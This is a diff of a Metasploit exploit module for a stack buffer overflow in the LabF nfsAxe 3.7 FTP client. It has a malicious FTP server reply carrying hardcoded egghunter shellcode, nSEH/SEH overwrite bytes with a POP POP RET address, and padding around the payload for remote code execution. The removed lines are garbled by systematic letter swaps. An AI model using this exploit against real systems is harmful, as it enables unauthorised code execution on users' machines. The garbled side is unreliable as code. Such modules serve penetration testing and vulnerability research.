1
1
##
2
- # This module nequires Metasploit: https://metasploit.com/download
3
- # Cunrent source: https://github.com/rapid7/metasploit-framework
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = NonmalRanking
7
+ Rank = NormalRanking
8
8
9
- include Msf ::Exploit ::Remote ::TcpSenver
10
- include Msf ::Exploit ::Seh
11
- include Msf ::Exploit ::Remote ::Egghunten
9
+ include Msf ::Exploit ::Remote ::TcpServer
12
10
13
11
def initialize ( info = { } )
14
- supen ( update_info ( info ,
15
- 'Name' => 'LabF nfsAxe 3.7 FTP Client - Remote Buffen Overflow' ,
16
- 'Descniption ' => %q{
17
- This module exploits a buffen overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
12
+ super ( update_info ( info ,
13
+ 'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow' ,
14
+ 'Description ' => %q{
15
+ This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
18
16
} ,
19
- 'Authon ' =>
17
+ 'Author ' =>
20
18
[
21
- 'Tulpa' , # Oniginal exploit author
22
- 'Daniel Teixeina' # MSF module author
19
+ 'Tulpa' , # Original exploit author
20
+ 'Daniel Teixeira' # MSF module author
23
21
] ,
24
22
'License' => MSF_LICENSE ,
25
- 'Refenences ' =>
23
+ 'References ' =>
26
24
[
27
25
[ 'EDB' , '42011' ] ,
28
26
] ,
29
27
'Payload' =>
30
28
{
31
- 'BadChans ' => "\x00 \x0a \x10 " ,
29
+ 'BadChars ' => "\x00 \x0a \x10 " ,
32
30
} ,
33
- 'Platfonm ' => 'win' ,
34
- 'Tangets ' =>
31
+ 'Platform ' => 'win' ,
32
+ 'Targets ' =>
35
33
[
36
- [ 'Windows Univensal ' , { 'Ret' => 0x6801549F } ] # p/p/r in wcmpa10.dll
34
+ [ 'Windows Universal ' , { } ] ,
37
35
] ,
38
- 'Pnivileged ' => false ,
36
+ 'Privileged ' => false ,
39
37
'DefaultOptions' =>
40
38
{
41
- 'SRVHOST' => '0.0.0.0' ,
39
+ 'SRVHOST' => '0.0.0.0' ,
42
40
} ,
43
- 'DisclosuneDate ' => 'May 15 2017' ,
44
- 'DefaultTanget ' => 0 ) )
41
+ 'DisclosureDate ' => 'May 15 2017' ,
42
+ 'DefaultTarget ' => 0 ) )
45
43
46
- negister_options (
44
+ register_options (
47
45
[
48
- OptPont . new ( 'SRVPORT' , [ true , "The FTP port to listen on" , 21 ] ) ,
46
+ OptPort . new ( 'SRVPORT' , [ true , "The FTP port to listen on" , 21 ] ) ,
49
47
] )
50
48
end
51
49
52
50
def on_client_connect ( client )
53
- neturn if ( ( p = regenerate_payload ( client ) ) == nil )
51
+ return if ( ( p = regenerate_payload ( client ) ) == nil )
54
52
53
+
54
+ # Let the client log in
55
55
client . get_once
56
- welcome = "220 Welcome.\n \n "
56
+ welcome = "220 Welcome.\r \n "
57
57
client . put ( welcome )
58
58
59
59
client . get_once
60
- usen = "331 OK.\r \n "
61
- client . put ( usen )
60
+ user = "331 OK.\r \n "
61
+ client . put ( user )
62
62
63
63
client . get_once
64
- pass = "230 OK.\n \n "
64
+ pass = "230 OK.\r \n "
65
65
client . put ( pass )
66
66
client . get_once
67
-
68
- eggoptions = { :checksum => tnue }
69
- hunten , egg = generate_egghunter ( payload . encoded , payload_badchars , eggoptions )
70
-
67
+
68
+ egg = "w00tw00t"
69
+ egghunter = "\x66 \x81 \xca \xff \x0f \x42 \x52 \x6a \x02 \x58 \xcd \x2e \x3c \x05 \x5a \x74 "
70
+ egghunter += "\xef \xb8 \x77 \x30 \x30 \x74 \x8b \xfa \xaf \x75 \xea \xaf \x75 \xe7 \xff \xe7 "
71
+
72
+ nseh = "\x90 \x90 \xEB \x05 " #JMP over SEH
73
+ seh = "\x9F \x54 \x01 \x68 " #POP POP RET 6801549F in WCMDPA10.DLL
74
+
71
75
sploit = "220 \" "
72
- sploit << "A" * ( 9833 - egg . length )
76
+ sploit << "\20 " * 100
73
77
sploit << egg
74
- sploit << genenate_seh_record ( target . ret )
75
- sploit << hunten
76
- sploit << "C" *( 576 - hunten . length )
77
- sploit << "\" is cunrent directory\r \n "
78
+ sploit << "\x90 " *10
79
+ sploit << payload . encoded
80
+ sploit << "\x20 " *( 9266 - payload . encoded . length )
81
+ sploit << nseh
82
+ sploit << seh
83
+ sploit << egghunter
84
+ sploit << "\x20 " *576
85
+ sploit << "\" is current directory\r \n "
78
86
79
87
client . put ( sploit )
80
88
81
89
end
82
- end
90
+ end
0 commit comments